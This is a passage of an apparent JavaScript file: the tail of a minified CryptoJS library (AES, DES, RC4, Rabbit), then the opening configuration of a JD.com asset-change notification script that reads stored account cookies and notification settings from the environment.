r.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[e + s] ^= o[s] } }), et.Decryptor = rt, et), bt.pad.NoPadding = { pad: function () { }, unpad: function () { } }, it = bt.lib.CipherParams, nt = bt.enc.Hex, bt.format.Hex = { stringify: function (t) { return t.ciphertext.toString(nt) }, parse: function (t) { var e = nt.parse(t); return it.create({ ciphertext: e }) } }, function () { var t = bt, e = t.lib.BlockCipher, r = t.algo, h = [], l = [], f = [], d = [], u = [], p = [], _ = [], v = [], y = [], g = []; !function () { for (var t = [], e = 0; e < 256; e++)t[e] = e < 128 ? e << 1 : e << 1 ^ 283; var r = 0, i = 0; for (e = 0; e < 256; e++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, h[r] = n; var o = t[l[n] = r], s = t[o], c = t[s], a = 257 * t[n] ^ 16843008 * n; f[r] = a << 24 | a >>> 8, d[r] = a << 16 | a >>> 16, u[r] = a << 8 | a >>> 24, p[r] = a; a = 16843009 * c ^ 65537 * s ^ 257 * o ^ 16843008 * r; _[n] = a << 24 | a >>> 8, v[n] = a << 16 | a >>> 16, y[n] = a << 8 | a >>> 24, g[n] = a, r ? (r = o ^ t[t[t[c ^ o]]], i ^= t[t[i]]) : r = i = 1 } }(); var B = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], i = r.AES = e.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, e = t.words, r = t.sigBytes / 4, i = 4 * (1 + (this._nRounds = 6 + r)), n = this._keySchedule = [], o = 0; o < i; o++)o < r ? n[o] = e[o] : (a = n[o - 1], o % r ? 6 < r && o % r == 4 && (a = h[a >>> 24] << 24 | h[a >>> 16 & 255] << 16 | h[a >>> 8 & 255] << 8 | h[255 & a]) : (a = h[(a = a << 8 | a >>> 24) >>> 24] << 24 | h[a >>> 16 & 255] << 16 | h[a >>> 8 & 255] << 8 | h[255 & a], a ^= B[o / r | 0] << 24), n[o] = n[o - r] ^ a); for (var s = this._invKeySchedule = [], c = 0; c < i; c++) { o = i - c; if (c % 4) var a = n[o]; else a = n[o - 4]; s[c] = c < 4 || o <= 4 ? a : _[h[a >>> 24]] ^ v[h[a >>> 16 & 255]] ^ y[h[a >>> 8 & 255]] ^ g[h[255 & a]] } } }, encryptBlock: function (t, e) { this._doCryptBlock(t, e, this._keySchedule, f, d, u, p, h) }, decryptBlock: function (t, e) { var r = t[e + 1]; t[e + 1] = t[e + 3], t[e + 3] = r, this._doCryptBlock(t, e, this._invKeySchedule, _, v, y, g, l); r = t[e + 1]; t[e + 1] = t[e + 3], t[e + 3] = r }, _doCryptBlock: function (t, e, r, i, n, o, s, c) { for (var a = this._nRounds, h = t[e] ^ r[0], l = t[e + 1] ^ r[1], f = t[e + 2] ^ r[2], d = t[e + 3] ^ r[3], u = 4, p = 1; p < a; p++) { var _ = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & d] ^ r[u++], v = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[d >>> 8 & 255] ^ s[255 & h] ^ r[u++], y = i[f >>> 24] ^ n[d >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ r[u++], g = i[d >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ r[u++]; h = _, l = v, f = y, d = g } _ = (c[h >>> 24] << 24 | c[l >>> 16 & 255] << 16 | c[f >>> 8 & 255] << 8 | c[255 & d]) ^ r[u++], v = (c[l >>> 24] << 24 | c[f >>> 16 & 255] << 16 | c[d >>> 8 & 255] << 8 | c[255 & h]) ^ r[u++], y = (c[f >>> 24] << 24 | c[d >>> 16 & 255] << 16 | c[h >>> 8 & 255] << 8 | c[255 & l]) ^ r[u++], g = (c[d >>> 24] << 24 | c[h >>> 16 & 255] << 16 | c[l >>> 8 & 255] << 8 | c[255 & f]) ^ r[u++]; t[e] = _, t[e + 1] = v, t[e + 2] = y, t[e + 3] = g }, keySize: 8 }); t.AES = e._createHelper(i) }(), function () { var t = bt, e = t.lib, n = e.WordArray, r = e.BlockCipher, i = t.algo, h = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], l = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], f = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], d = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], o = i.DES = r.extend({ _doReset: function () { for (var t = this._key.words, e = [], r = 0; r < 56; r++) { var i = h[r] - 1; e[r] = t[i >>> 5] >>> 31 - i % 32 & 1 } for (var n = this._subKeys = [], o = 0; o < 16; o++) { var s = n[o] = [], c = f[o]; for (r = 0; r < 24; r++)s[r / 6 | 0] |= e[(l[r] - 1 + c) % 28] << 31 - r % 6, s[4 + (r / 6 | 0)] |= e[28 + (l[r + 24] - 1 + c) % 28] << 31 - r % 6; s[0] = s[0] << 1 | s[0] >>> 31; for (r = 1; r < 7; r++)s[r] = s[r] >>> 4 * (r - 1) + 3; s[7] = s[7] << 5 | s[7] >>> 27 } var a = this._invSubKeys = []; for (r = 0; r < 16; r++)a[r] = n[15 - r] }, encryptBlock: function (t, e) { this._doCryptBlock(t, e, this._subKeys) }, decryptBlock: function (t, e) { this._doCryptBlock(t, e, this._invSubKeys) }, _doCryptBlock: function (t, e, r) { this._lBlock = t[e], this._rBlock = t[e + 1], p.call(this, 4, 252645135), p.call(this, 16, 65535), _.call(this, 2, 858993459), _.call(this, 8, 16711935), p.call(this, 1, 1431655765); for (var i = 0; i < 16; i++) { for (var n = r[i], o = this._lBlock, s = this._rBlock, c = 0, a = 0; a < 8; a++)c |= d[a][((s ^ n[a]) & u[a]) >>> 0]; this._lBlock = s, this._rBlock = o ^ c } var h = this._lBlock; this._lBlock = this._rBlock, this._rBlock = h, p.call(this, 1, 1431655765), _.call(this, 8, 16711935), _.call(this, 2, 858993459), p.call(this, 16, 65535), p.call(this, 4, 252645135), t[e] = this._lBlock, t[e + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); function p(t, e) { var r = (this._lBlock >>> t ^ this._rBlock) & e; this._rBlock ^= r, this._lBlock ^= r << t } function _(t, e) { var r = (this._rBlock >>> t ^ this._lBlock) & e; this._lBlock ^= r, this._rBlock ^= r << t } t.DES = r._createHelper(o); var s = i.TripleDES = r.extend({ _doReset: function () { var t = this._key.words; if (2 !== t.length && 4 !== t.length && t.length < 6) throw new Error("Invalid key length - 3DES requires the key length to be 64, 128, 192 or >192."); var e = t.slice(0, 2), r = t.length < 4 ? t.slice(0, 2) : t.slice(2, 4), i = t.length < 6 ? t.slice(0, 2) : t.slice(4, 6); this._des1 = o.createEncryptor(n.create(e)), this._des2 = o.createEncryptor(n.create(r)), this._des3 = o.createEncryptor(n.create(i)) }, encryptBlock: function (t, e) { this._des1.encryptBlock(t, e), this._des2.decryptBlock(t, e), this._des3.encryptBlock(t, e) }, decryptBlock: function (t, e) { this._des3.decryptBlock(t, e), this._des2.encryptBlock(t, e), this._des1.decryptBlock(t, e) }, keySize: 6, ivSize: 2, blockSize: 2 }); t.TripleDES = r._createHelper(s) }(), function () { var t = bt, e = t.lib.StreamCipher, r = t.algo, i = r.RC4 = e.extend({ _doReset: function () { for (var t = this._key, e = t.words, r = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; n = 0; for (var o = 0; n < 256; n++) { var s = n % r, c = e[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + c) % 256; var a = i[n]; i[n] = i[o], i[o] = a } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= n.call(this) }, keySize: 8, ivSize: 0 }); function n() { for (var t = this._S, e = this._i, r = this._j, i = 0, n = 0; n < 4; n++) { r = (r + t[e = (e + 1) % 256]) % 256; var o = t[e]; t[e] = t[r], t[r] = o, i |= t[(t[e] + t[r]) % 256] << 24 - 8 * n } return this._i = e, this._j = r, i } t.RC4 = e._createHelper(i); var o = r.RC4Drop = i.extend({ cfg: i.cfg.extend({ drop: 192 }), _doReset: function () { i._doReset.call(this); for (var t = this.cfg.drop; 0 < t; t--)n.call(this) } }); t.RC4Drop = e._createHelper(o) }(), bt.mode.CTRGladman = (ot = bt.lib.BlockCipherMode.extend(), st = ot.Encryptor = ot.extend({ processBlock: function (t, e) { var r, i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), 0 === ((r = s)[0] = Et(r[0])) && (r[1] = Et(r[1])); var c = s.slice(0); i.encryptBlock(c, 0); for (var a = 0; a < n; a++)t[e + a] ^= c[a] } }), ot.Decryptor = st, ot), at = (ct = bt).lib.StreamCipher, ht = ct.algo, lt = [], ft = [], dt = [], ut = ht.Rabbit = at.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, r = 0; r < 4; r++)t[r] = 16711935 & (t[r] << 8 | t[r] >>> 24) | 4278255360 & (t[r] << 24 | t[r] >>> 8); var i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; for (r = this._b = 0; r < 4; r++)Rt.call(this); for (r = 0; r < 8; r++)n[r] ^= i[r + 4 & 7]; if (e) { var o = e.words, s = o[0], c = o[1], a = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), h = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), l = a >>> 16 | 4294901760 & h, f = h << 16 | 65535 & a; n[0] ^= a, n[1] ^= l, n[2] ^= h, n[3] ^= f, n[4] ^= a, n[5] ^= l, n[6] ^= h, n[7] ^= f; for (r = 0; r < 4; r++)Rt.call(this) } }, _doProcessBlock: function (t, e) { var r = this._X; Rt.call(this), lt[0] = r[0] ^ r[5] >>> 16 ^ r[3] << 16, lt[1] = r[2] ^ r[7] >>> 16 ^ r[5] << 16, lt[2] = r[4] ^ r[1] >>> 16 ^ r[7] << 16, lt[3] = r[6] ^ r[3] >>> 16 ^ r[1] << 16; for (var i = 0; i < 4; i++)lt[i] = 16711935 & (lt[i] << 8 | lt[i] >>> 24) | 4278255360 & (lt[i] << 24 | lt[i] >>> 8), t[e + i] ^= lt[i] }, blockSize: 4, ivSize: 2 }), ct.Rabbit = at._createHelper(ut), bt.mode.CTR = (pt = bt.lib.BlockCipherMode.extend(), _t = pt.Encryptor = pt.extend({ processBlock: function (t, e) { var r = this._cipher, i = r.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); r.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var c = 0; c < i; c++)t[e + c] ^= s[c] } }), pt.Decryptor = _t, pt), yt = (vt = bt).lib.StreamCipher, gt = vt.algo, Bt = [], wt = [], kt = [], St = gt.RabbitLegacy = yt.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, r = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], i = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]], n = this._b = 0; n < 4; n++)Mt.call(this); for (n = 0; n < 8; n++)i[n] ^= r[n + 4 & 7]; if (e) { var o = e.words, s = o[0], c = o[1], a = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), h = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), l = a >>> 16 | 4294901760 & h, f = h << 16 | 65535 & a; i[0] ^= a, i[1] ^= l, i[2] ^= h, i[3] ^= f, i[4] ^= a, i[5] ^= l, i[6] ^= h, i[7] ^= f; for (n = 0; n < 4; n++)Mt.call(this) } }, _doProcessBlock: function (t, e) { var r = this._X; Mt.call(this), Bt[0] = r[0] ^ r[5] >>> 16 ^ r[3] << 16, Bt[1] = r[2] ^ r[7] >>> 16 ^ r[5] << 16, Bt[2] = r[4] ^ r[1] >>> 16 ^ r[7] << 16, Bt[3] = r[6] ^ r[3] >>> 16 ^ r[1] << 16; for (var i = 0; i < 4; i++)Bt[i] = 16711935 & (Bt[i] << 8 | Bt[i] >>> 24) | 4278255360 & (Bt[i] << 24 | Bt[i] >>> 8), t[e + i] ^= Bt[i] }, blockSize: 4, ivSize: 2 }), vt.RabbitLegacy = yt._createHelper(St), bt.pad.ZeroPadding = { pad: function (t, e) { var r = 4 * e; t.clamp(), t.sigBytes += r - (t.sigBytes % r || r) }, unpad: function (t) { var e = t.words, r = t.sigBytes - 1; for (r = t.sigBytes - 1; 0 <= r; r--)if (e[r >>> 2] >>> 24 - r % 4 * 8 & 255) { t.sigBytes = r + 1; break } } }, bt }); + +const $ = new Env('京东资产变动'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const JXUserAgent = $.isNode() ? (process.env.JX_USER_AGENT ? process.env.JX_USER_AGENT : ``) : ``; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let allMessage = ''; +let allMessage2 = ''; +let allReceiveMessage = ''; +let allWarnMessage = ''; +let ReturnMessage = ''; +let ReturnMessageMonth = ''; +let allMessageMonth = ''; + +let MessageUserGp2 = ''; +let ReceiveMessageGp2 = ''; +let WarnMessageGp2 = ''; +let allMessageGp2 = ''; +let allMessage2Gp2 = ''; +let allMessageMonthGp2 = ''; +let IndexGp2 = 0; + +let MessageUserGp3 = ''; +let ReceiveMessageGp3 = ''; +let WarnMessageGp3 = ''; +let allMessageGp3 = ''; +let allMessage2Gp3 = ''; +let allMessageMonthGp3 = ''; +let IndexGp3 = 0; + +let MessageUserGp4 = ''; +let ReceiveMessageGp4 = ''; +let WarnMessageGp4 = ''; +let allMessageGp4 = ''; +let allMessageMonthGp4 = ''; +let allMessage2Gp4 = ''; +let IndexGp4 = 0; + +let notifySkipList = ""; +let IndexAll = 0; +let EnableMonth = "false"; +let isSignError = false; +let ReturnMessageTitle=""; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +let intPerSent = 0; +let i = 0; +let llShowMonth = false; +let Today = new Date(); +let strAllNotify=""; +let strSubNotify=""; +let llPetError=false; +let strGuoqi=""; +let RemainMessage = '\n'; +RemainMessage += "⭕活动攻略:⭕" + '\n'; +RemainMessage += '【极速金币】京东极速版->我的->金币(极速版使用)\n'; +RemainMessage += '【京东赚赚】微信->京东赚赚小程序->底部赚好礼->提现无门槛红包(京东使用)\n'; +RemainMessage += '【京东秒杀】京东->中间频道往右划找到京东秒杀->中间点立即签到->兑换无门槛红包(京东使用)\n'; +RemainMessage += '【东东萌宠】京东->我的->东东萌宠,完成是京东红包,可以用于京东app的任意商品\n'; +RemainMessage += '【领现金】京东->我的->东东萌宠->领现金(微信提现+京东红包)\n'; +RemainMessage += '【东东农场】京东->我的->东东农场,完成是京东红包,可以用于京东app的任意商品\n'; +RemainMessage += '【京喜工厂】京喜->我的->京喜工厂,完成是商品红包,用于购买指定商品(不兑换会过期)\n'; +RemainMessage += '【京东金融】京东金融app->我的->养猪猪,完成是白条支付券,支付方式选白条支付时立减.\n'; +RemainMessage += '【其他】京喜红包只能在京喜使用,其他同理'; + +let WP_APP_TOKEN_ONE = ""; + +let TempBaipiao = ""; + + +let doExJxBeans ="false"; +let time = new Date().getHours(); +if ($.isNode()) { + if (process.env.WP_APP_TOKEN_ONE) { + WP_APP_TOKEN_ONE = process.env.WP_APP_TOKEN_ONE; + } + if(process.env.BEANCHANGE_ExJxBeans=="true"){ + if (time >= 17){ + console.log(`检测到设定了临期京豆转换喜豆...`); + doExJxBeans = process.env.BEANCHANGE_ExJxBeans; + } else{ + console.log(`检测到设定了临期京豆转换喜豆,但时间未到17点后,暂不执行转换...`); + } + } +} +if(WP_APP_TOKEN_ONE) + console.log(`检测到已配置Wxpusher的Token,启用一对一推送...`); +else + console.log(`检测到未配置Wxpusher的Token,禁用一对一推送...`); + +if ($.isNode() && process.env.BEANCHANGE_PERSENT) { + intPerSent = parseInt(process.env.BEANCHANGE_PERSENT); + console.log(`检测到设定了分段通知:` + intPerSent); +} + +if ($.isNode() && process.env.BEANCHANGE_USERGP2) { + MessageUserGp2 = process.env.BEANCHANGE_USERGP2 ? process.env.BEANCHANGE_USERGP2.split('&') : []; + intPerSent = 0; //分组推送,禁用账户拆分 + console.log(`检测到设定了分组推送2,将禁用分段通知`); +} + +if ($.isNode() && process.env.BEANCHANGE_USERGP3) { + MessageUserGp3 = process.env.BEANCHANGE_USERGP3 ? process.env.BEANCHANGE_USERGP3.split('&') : []; + intPerSent = 0; //分组推送,禁用账户拆分 + console.log(`检测到设定了分组推送3,将禁用分段通知`); +} + +if ($.isNode() && process.env.BEANCHANGE_USERGP4) { + MessageUserGp4 = process.env.BEANCHANGE_USERGP4 ? process.env.BEANCHANGE_USERGP4.split('&') : []; + intPerSent = 0; //分组推送,禁用账户拆分 + console.log(`检测到设定了分组推送4,将禁用分段通知`); +} + +//取消月结查询 +//if ($.isNode() && process.env.BEANCHANGE_ENABLEMONTH) { + //EnableMonth = process.env.BEANCHANGE_ENABLEMONTH; +//} + +if ($.isNode() && process.env.BEANCHANGE_SUBNOTIFY) { + strSubNotify=process.env.BEANCHANGE_SUBNOTIFY; + strSubNotify+="\n"; + console.log(`检测到预览置顶内容,将在一对一推送的预览显示...\n`); +} + +if ($.isNode() && process.env.BEANCHANGE_ALLNOTIFY) { + strAllNotify=process.env.BEANCHANGE_ALLNOTIFY; + console.log(`检测到设定了公告,将在推送信息中置顶显示...`); + strAllNotify = `【✨✨✨✨公告✨✨✨✨】\n`+strAllNotify; + console.log(strAllNotify+"\n"); + strAllNotify +=`\n🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏` +} + + +if (EnableMonth == "true" && Today.getDate() == 1 && Today.getHours() > 17) + llShowMonth = true; + +let userIndex2 = -1; +let userIndex3 = -1; +let userIndex4 = -1; + + +let decExBean=0; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') + console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +//查询开关 +let strDisableList = ""; +let DisableIndex=-1; +if ($.isNode()) { + strDisableList = process.env.BEANCHANGE_DISABLELIST ? process.env.BEANCHANGE_DISABLELIST.split('&') : []; +} + +//喜豆查询 +let EnableJxBeans=true; +DisableIndex=strDisableList.findIndex((item) => item === "喜豆查询"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭喜豆查询"); + EnableJxBeans=false +} + +//汪汪乐园 +let EnableJoyPark=true; +DisableIndex = strDisableList.findIndex((item) => item === "汪汪乐园"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭汪汪乐园查询"); + EnableJoyPark=false +} + +//京东赚赚 +let EnableJdZZ=true; +DisableIndex = strDisableList.findIndex((item) => item === "京东赚赚"); +if(DisableIndex!=-1){ + 